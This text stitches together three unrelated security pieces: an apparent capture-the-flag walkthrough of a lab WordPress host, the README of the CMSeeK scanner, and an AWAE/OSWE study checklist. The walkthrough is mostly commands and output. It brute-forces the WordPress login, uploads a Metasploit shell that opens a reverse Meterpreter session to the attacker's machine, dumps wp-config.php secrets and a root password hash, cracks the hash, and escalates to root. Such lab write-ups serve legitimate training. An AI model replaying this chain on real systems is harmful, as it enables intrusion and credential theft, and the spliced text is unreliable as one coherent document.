$ dirb http://192.168.1.181
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Dec 19 18:23:12 2020
URL_BASE: http://192.168.1.181/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.181/ ----
+ http://192.168.1.181/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.1.181/javascript/
+ http://192.168.1.181/phpmyadmin (CODE:403|SIZE:278)
+ http://192.168.1.181/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://192.168.1.181/wp-admin/
==> DIRECTORY: http://192.168.1.181/wp-content/
==> DIRECTORY: http://192.168.1.181/wp-includes/
+ http://192.168.1.181/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: http://192.168.1.181/javascript/ ----
==> DIRECTORY: http://192.168.1.181/javascript/jquery/
---- Entering directory: http://192.168.1.181/wp-admin/ ----
+ http://192.168.1.181/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.181/wp-admin/css/
==> DIRECTORY: http://192.168.1.181/wp-admin/images/
==> DIRECTORY: http://192.168.1.181/wp-admin/includes/
+ http://192.168.1.181/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.181/wp-admin/js/
==> DIRECTORY: http://192.168.1.181/wp-admin/maint/
==> DIRECTORY: http://192.168.1.181/wp-admin/network/
==> DIRECTORY: http://192.168.1.181/wp-admin/user/
---- Entering directory: http://192.168.1.181/wp-content/ ----
+ http://192.168.1.181/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.1.181/wp-content/languages/
==> DIRECTORY: http://192.168.1.181/wp-content/plugins/
==> DIRECTORY: http://192.168.1.181/wp-content/themes/
==> DIRECTORY: http://192.168.1.181/wp-content/upgrade/
==> DIRECTORY: http://192.168.1.181/wp-content/uploads/
---- Entering directory: http://192.168.1.181/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/javascript/jquery/ ----
+ http://192.168.1.181/javascript/jquery/jquery (CODE:200|SIZE:271809)
---- Entering directory: http://192.168.1.181/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-admin/network/ ----
+ http://192.168.1.181/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.1.181/wp-admin/network/index.php (CODE:302|SIZE:0)
---- Entering directory: http://192.168.1.181/wp-admin/user/ ----
+ http://192.168.1.181/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.1.181/wp-admin/user/index.php (CODE:302|SIZE:0)
---- Entering directory: http://192.168.1.181/wp-content/languages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-content/plugins/ ----
+ http://192.168.1.181/wp-content/plugins/index.php (CODE:200|SIZE:0)
---- Entering directory: http://192.168.1.181/wp-content/themes/ ----
+ http://192.168.1.181/wp-content/themes/index.php (CODE:200|SIZE:0)
---- Entering directory: http://192.168.1.181/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.181/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Dec 19 18:23:27 2020
DOWNLOADED: 41508 - FOUND: 14
```
```
$ nikto -h http://192.168.1.181
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.181
+ Target Hostname: 192.168.1.181
+ Target Port: 80
+ Start Time: 2020-12-19 18:23:23 (GMT-3)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://odin/index.php?rest_route=/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php?action=register: Wordpress registration enabled
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2020-12-19 18:25:15 (GMT-3) (112 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
```
$ gobuster dir -u http://192.168.1.181 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x .php,.txt,.js,/,.html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.1.181
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,txt,js,/
[+] Timeout: 10s
===============================================================
2020/12/19 18:23:41 Starting gobuster
===============================================================
/index.php (Status: 301)
/phpmyadmin (Status: 403)
/license.txt (Status: 200)
/wp-content (Status: 301)
/wp-admin (Status: 301)
/readme.html (Status: 200)
/wp-trackback.php (Status: 200)
/wp-login.php (Status: 200)
===============================================================
2020/12/19 18:25:04 Finished
===============================================================
```
## WordPress Analysis
```
$ wpscan -e ap,at,u --url http://192.168.1.181
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.11
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://192.168.1.181/ [192.168.1.181]
[+] Started: Sat Dec 19 18:27:40 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.1.181/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] Registration is enabled: http://192.168.1.181/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.1.181/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.1.181/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.3 identified (Latest, released on 2020-10-30).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.1.181/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.1.181/, Match: 'WordPress 5.5.3'
[i] The main theme could not be detected.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <========================================> (10 / 10) 100.00% Time: 00:00:00
[i] No Users Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Dec 19 18:27:41 2020
[+] Requests Done: 68
[+] Cached Requests: 11
[+] Data Sent: 14.447 KB
[+] Data Received: 16.094 MB
[+] Memory used: 121.562 MB
[+] Elapsed time: 00:00:01
```
## WordPress Login Brute Forcing
I attempt to crack WordPress login with `wpscan`.
```
$ cat users.txt
admin
odin
$ wpscan --url http://192.168.1.181/ -U users.txt -P /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.11
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.1.181/ [192.168.1.181]
[+] Started: Sat Dec 19 18:30:47 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.1.181/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] Registration is enabled: http://192.168.1.181/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.1.181/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.1.181/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.3 identified (Latest, released on 2020-10-30).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.1.181/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.5.3'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.1.181/, Match: 'WordPress 5.5.3'
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <=========================================> (22 / 22) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - admin / qwerty
^Cying odin / israel Time: 00:00:16 < > (852 / 28688804) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: admin, Password: qwerty
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Sat Dec 19 18:31:13 2020
[+] Requests Done: 881
[+] Cached Requests: 28
[+] Data Sent: 453.649 KB
[+] Data Received: 524.408 KB
[+] Memory used: 181.766 MB
[+] Elapsed time: 00:00:25
Scan Aborted: Canceled by User
```
User: **admin**\
Pass: **qwerty**
## Exploitation
```
$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password qwerty
password => qwerty
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.1.181
rhosts => 192.168.1.181
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD qwerty yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.181 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.189 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.1.189:4444
[*] Authenticating with WordPress using admin:qwerty...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/sVvkpBRBVH/FBafKaYbDY.php...
[*] Sending stage (39282 bytes) to 192.168.1.181
[*] Meterpreter session 1 opened (192.168.1.189:4444 -> 192.168.1.181:40366) at 2020-12-19 18:37:29 -0300
[+] Deleted FBafKaYbDY.php
[+] Deleted sVvkpBRBVH.php
[+] Deleted ../sVvkpBRBVH
meterpreter > sysinfo
Computer : osboxes
OS : Linux osboxes 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64
Meterpreter : php/linux
```
## System Users
```
meterpreter > shell
Process 1733 created.
Channel 1 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@osboxes:$
www-data@osboxes:/$ ls -lah /home
total 16K
drwxr-xr-x 4 root root 4.0K Dec 4 15:54 .
drwxr-xr-x 23 root root 4.0K Jul 5 22:43 ..
drwxrw---- 15 osboxes osboxes 4.0K Dec 5 10:05 osboxes
drwxr-xr-x 4 rockyou rockyou 4.0K Dec 4 15:58 rockyou
www-data@osboxes:/$ cat /home/rockyou/ok
Get out of here!
```
## WordPress Config
```
www-data@osboxes:/$ cat /var/www/html/wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'joomla' );
/** MySQL database username */
define( 'DB_USER', 'joomla' );
/** MySQL database password */
define( 'DB_PASSWORD', 'joomla' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'hJ6K`1Lh|p>fc/)&[~yFq~fyW|aIt/aN(t4D{f4q/j.R6[|CNgW{Jgz(,w+L#[3D' );
define( 'SECURE_AUTH_KEY', '$NY`wt7VU18-FcJC/|~c*NKy*EJ,]:6jS_ShC20hpZnUhV%+0.=-=PaM_5%shx%f' );
define( 'LOGGED_IN_KEY', 'A6R.i/vfrs*.i-e[(Elb*hD}S bV;<%bjd,!${8PRhDl+a0}X:9Y4% 6CJ,]tazm' );
define( 'NONCE_KEY', '7B01IEuF=J}ep]`k*oy]{/*L)2O=U5LVJR+YioC?|!~KGdv-b/_ |VmHF[hC: un' );
define( 'AUTH_SALT', '7#xk&!&`({X!1nF#jkWiXu$s7<{]vrl_n:n.R!9qy%@l1rDglP&HpB)G{bPdz>mV' );
define( 'SECURE_AUTH_SALT', '$KC6{ex+{<*Q:%T:U.`=YHg>`f!:fmFb@%twt2_z=P((gdUY@HgG5Mq4=q-5e$vg' );
define( 'LOGGED_IN_SALT', '6gs|sWkYAZ@?&8NkX:u< F=v^sCcd/CJ#YiI-H*^ OC/SBC6XBh?cRYN(;J3_?3=' );
define( 'NONCE_SALT', 'xA+mKYMD;]J@>tEi%MT1!<$|<5KBs1AX@C8E|y2WAE=NwR5{3:piVlWHr6JsK[6u' );
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
/** root:$6$e9hWlnuTuxApq8h6$ClVqvF9MJa424dmU96Hcm6cvevBGP1OaHbWg//71DVUF1kt7ROW160rv9oaL7uKbDr2qIGsSxMmocdudQzjb01:18600:0:99999:7:::*/
```
Root user hash found:
```
root:$6$e9hWlnuTuxApq8h6$ClVqvF9MJa424dmU96Hcm6cvevBGP1OaHbWg//71DVUF1kt7ROW160rv9oaL7uKbDr2qIGsSxMmocdudQzjb01:18600:0:99999:7:::
```
## Cracking Root Hash
```
$ cat root.hash
root:$6$e9hWlnuTuxApq8h6$ClVqvF9MJa424dmU96Hcm6cvevBGP1OaHbWg//71DVUF1kt7ROW160rv9oaL7uKbDr2qIGsSxMmocdudQzjb01:18600:0:99999:7:::
$ john -wordlist=/usr/share/wordlists/rockyou.txt root.hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jasmine (root)
1g 0:00:00:00 DONE (2020-12-19 19:02) 9.090g/s 6981p/s 6981c/s 6981C/s 123456..james1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
User: **root**\
Pass: **jasmine**
## Privilege Escalation
```
www-data@osboxes:/$ su root
Password: jasmine
root@osboxes:/# id
uid=0(root) gid=0(root) groups=0(root)
```
## Root Flag
```
root@osboxes:~# cat /root/bjorn
cσηgяαтυℓαтιση
Have a nice day!
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1WaGtmblBWUXlhWQo=
```
```
$ echo "aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1WaGtmblBWUXlhWQo=" | base64 -d
https://www.youtube.com/watch?v=VhkfnPVQyaY
```
|
<p align='center'>
<img src="https://i.imgur.com/n2U6nVH.png" alt="Logo"> <br>
<a href="https://github.com/Tuhinshubhra/CMSeeK/releases/tag/v.1.1.2"><img src="https://img.shields.io/badge/Version-1.1.2-brightgreen.svg?style=style=flat-square" alt="version"></a>
<a href="https://github.com/Tuhinshubhra/CMSeeK/"><img src="https://img.shields.io/badge/python-3-orange.svg?style=style=flat-square" alt="Python Version"></a>
<a href="https://github.com/Tuhinshubhra/CMSeeK/stargazers"><img src="https://img.shields.io/github/stars/Tuhinshubhra/CMSeeK.svg" alt="GitHub stars" /></a>
<a href="https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE"><img src="https://img.shields.io/github/license/Tuhinshubhra/CMSeeK.svg" alt="GitHub license" /></a>
<a href="https://inventory.rawsec.ml/tools.html#CMSeek"><img src="https://inventory.rawsec.ml/img/badges/Rawsec-inventoried-FF5050_flat.svg" alt="Rawsec's CyberSecurity Inventory" /></a>
<a href="https://twitter.com/r3dhax0r"><img src="https://img.shields.io/twitter/url/https/github.com/Tuhinshubhra/CMSeeK.svg?style=social" alt="Twitter" /></a>
</p>
## What is a CMS?
> A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*.
## Release History
```
- Version 1.1.2 [19-05-2019]
- Version 1.1.1 [01-02-2019]
- Version 1.1.0 [28-08-2018]
- Version 1.0.9 [21-08-2018]
- Version 1.0.8 [14-08-2018]
- Version 1.0.7 [07-08-2018]
...
```
[Changelog File](https://github.com/Tuhinshubhra/CMSeeK/blob/master/CHANGELOG)
## Functions Of CMSeek:
- Basic CMS Detection of over 170 CMS
- Drupal version detection
- Advanced Wordpress Scans
- Detects Version
- User Enumeration
- Plugins Enumeration
- Theme Enumeration
- Detects Users (3 Detection Methods)
- Looks for Version Vulnerabilities and much more!
- Advanced Joomla Scans
- Version detection
- Backup files finder
- Admin page finder
- Core vulnerability detection
- Directory listing check
- Config leak detection
- Various other checks
- Modular bruteforce system
- Use pre made bruteforce modules or create your own and integrate with it
## Requirements and Compatibility:
CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed.
## Installation and Usage:
It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands:
- git clone `https://github.com/Tuhinshubhra/CMSeeK`
- cd CMSeeK
- pip/pip3 install -r requirements.txt
For guided scanning:
- python3 cmseek.py
Else:
- python3 cmseek.py -u <target_url> [...]
Help menu from the program:
```
USAGE:
python3 cmseek.py (for guided scanning) OR
python3 cmseek.py [OPTIONS] <Target Specification>
SPECIFING TARGET:
-u URL, --url URL Target Url
-l LIST, --list LIST Path of the file containing list of sites
for multi-site scan (comma separated)
MANIPULATING SCAN:
-i cms, --ignore--cms cms Specify which CMS IDs to skip in order to
avoid flase positive. separated by comma ","
--strict-cms cms Checks target against a list of provided
CMS IDs. separated by comma ","
--skip-scanned Skips target if it's CMS was previously detected.
RE-DIRECT:
--follow-redirect Follows all/any redirect(s)
--no-redirect Skips all redirects and tests the input target(s)
USER AGENT:
-r, --random-agent Use a random user agent
--googlebot Use Google bot user agent
--user-agent USER_AGENT Specify a custom user agent
OUTPUT:
-v, --verbose Increase output verbosity
VERSION & UPDATING:
--update Update CMSeeK (Requires git)
--version Show CMSeeK version and exit
HELP & MISCELLANEOUS:
-h, --help Show this help message and exit
--clear-result Delete all the scan result
EXAMPLE USAGE:
python3 cmseek.py -u example.com # Scan example.com
python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated)
python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here
python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent
python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com
```
## Checking For Update:
You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update.
P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update.
## Detection Methods:
CMSeek detects CMS via the following:
- HTTP Headers
- Generator meta tag
- Page source code
- robots.txt
## Supported CMSs:
CMSeeK currently can detect **170+** CMS. Check the list here: [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory.
All the cmss are stored in the following way:
```
cmsID = {
'name':'Name Of CMS',
'url':'Official URL of the CMS',
'vd':'Version Detection (0 for no, 1 for yes)',
'deeps':'Deep Scan (0 for no 1 for yes)'
}
```
## Scan Result:
All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\<Target Site>` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well.
Here is an example of the json report log:
## Bruteforce Modules:
CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this:
1. Add a comment exactly like this `# <Name Of The CMS> Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex
2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module
3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory
4. Open CMSeeK and Rebuild Cache using `R` as the input in the first menu.
5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK.
<p align='center'>
<img alt="Cache Rebuild Screenshot" width="600px" src="https://i.imgur.com/yhdzTYr.png" />
</p>
## Need More Reasons To Use CMSeeK?
If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages.
Also you can try reading comments in the code those are pretty random and weird!!!
## Screenshots:
<p align="center">
<img alt="Main Menu" src="https://i.imgur.com/Eij6QvX.png" />
<br><em>Main Menu</em><br>
<img alt="Scan Result" src="https://i.imgur.com/u0iyLdB.png" />
<br><em>Scan Result</em><br>
<img alt="WordPress Scan Result" src="https://i.imgur.com/cOtCJLj.png" />
<br><em>WordPress Scan Result</em><br>
</p>
## Guidelines for opening an issue:
Please make sure you have the following info attached when opening a new issue:
- Target
- Exact copy of error or screenshot of error
- Your operating system and python version
**Issues without these informations might not be answered!**
## Disclaimer:
**Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.**
## License:
CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE)
## Follow Me @r3dhax0r:
[Twitter](https://twitter.com/r3dhax0r)
## Team:
[Team : Virtually Unvoid Defensive (VUD)](https://twitter.com/virtuallyunvoid)
|
# Advanced Web Attacks & Exploitation
All efforts for the AWAE course and preparation for the Offensive Security Web Expert (OSWE) exam.
## Study Strategy
* Several rounds of course content
* First round:
* Watch videos
* Read text and take good notes
* Complete the main exercises
* Second round:
* Watch videos again
* Read text and take more notes as-needed
* Craft your own tools and scripts in a language other than python
* Complete exercises AND all extra mile exercises
* Further study:
* Find interesting vulns in open source software, find the vuln from scratch and analyze
* Analyze APKs for Android apps. Take 8 hours and analyze several each, tryna find vulns as if you're mid-test and have a time limit to find exploit chains
* Find interesting vulns in OSS.
* Use vuln apps first to help develop custom regex tools for SAST: Webgoat (Java), JuiceShop (JavaScript), Mutillidae (PHP), .NETGoat (C#)
* Check out an app in each relevant language that may not have had any security review done. Try to find some vulns and get some CVEs!!
* Check for the main suspects as taught in the course for each app, timebox it, and move on to another one.
* Make sure to pay attn to app architecture, request routing, etc in each language:
* [ ] Java
* [ ] JavaScript (node.js)
* [ ] PHP
* [ ] C#/.NET
* HackTheBox and CTFs (see wetw0rk's prep guide)
* SecureCodeWarrior (see bookmark in AWAE)
* Codecademy courses
* [x] Java
* [x] JavaScript
* [x] PHP
* [x] C#
## Course Completion
Taken from publicly-available syllabus.
* [x] 1. Introduction
* [x] Videos
* [x] Read/Notes
* [x] 2. Tools & Methodologies
* [x] Videos
* [x] Read/Notes
* [x] 2.1.5 Exercise - Web Inspection
* [x] 2.2.1 Exercise - Python Requests
* [x] 2.3.3 Exercise - Decompilation
* [ ] 3. Atmail Mail Server Appliance: from XSS to RCE
* [x] Videos
* [x] Read/Notes
* [x] 3.3.1 Exercise - Vuln Discovery
* [x] 3.4.1 Exercise - Session Hijack
* [x] 3.5.4 Exercise - Session Riding
* [x] 3.5.5 Extra Mile - Session Riding
* [x] 3.6.5 Exercise - globalsaveAction Vuln Analysis
* [x] 3.6.7 Exercise - Make it fully automagical
* [x] 3.6.8 Extra Mile
* [ ] 3.6.8 Extra Mile - Also see if you can background it completely
* [x] 4. ATutor Auth Bypass and RCE
* [x] Videos
* [x] Read/Notes
* [x] 4.3.1 Exercise - Vuln Discovery
* [x] 4.6.3 Exercise - Data Exfil
* [x] 4.6.4 Extra Mile - Data Exfil
* [x] 4.7.1 Exercise - ATutor Auth
* [x] 4.7.2 Extra Mile - ATutor Auth
* [x] 4.8.1 Exercise - ATutor Auth
* [x] 4.8.2 Extra Mile - ATutor Auth
* [x] 4.9.1 Exercise - File Upload
* [x] 4.10.5 Exercise - RCE
* [x] 4.10.6 Extra Mile - RCE
* [x] 5. ATutor LMS Type Juggling Vuln
* [x] Videos
* [x] Read/Notes
* [x] 5.4.1 Exercise - String Conversion
* [x] 5.6.3 Exercise - Loose Comparison
* [x] 5.6.4 Extra Mile - Loose Comparison
* [ ] 6. ManageEngine Applications Manager AMUserResourcesSyncServlet SQL Injection RCE
* [x] Videos
* [x] Read/Notes
* [x] 6.3.6 Exercise - Vuln Discovery
* [x] 6.5.1 Exercise - Blind Bats
* [x] 6.6.1 Exercise - Access FS
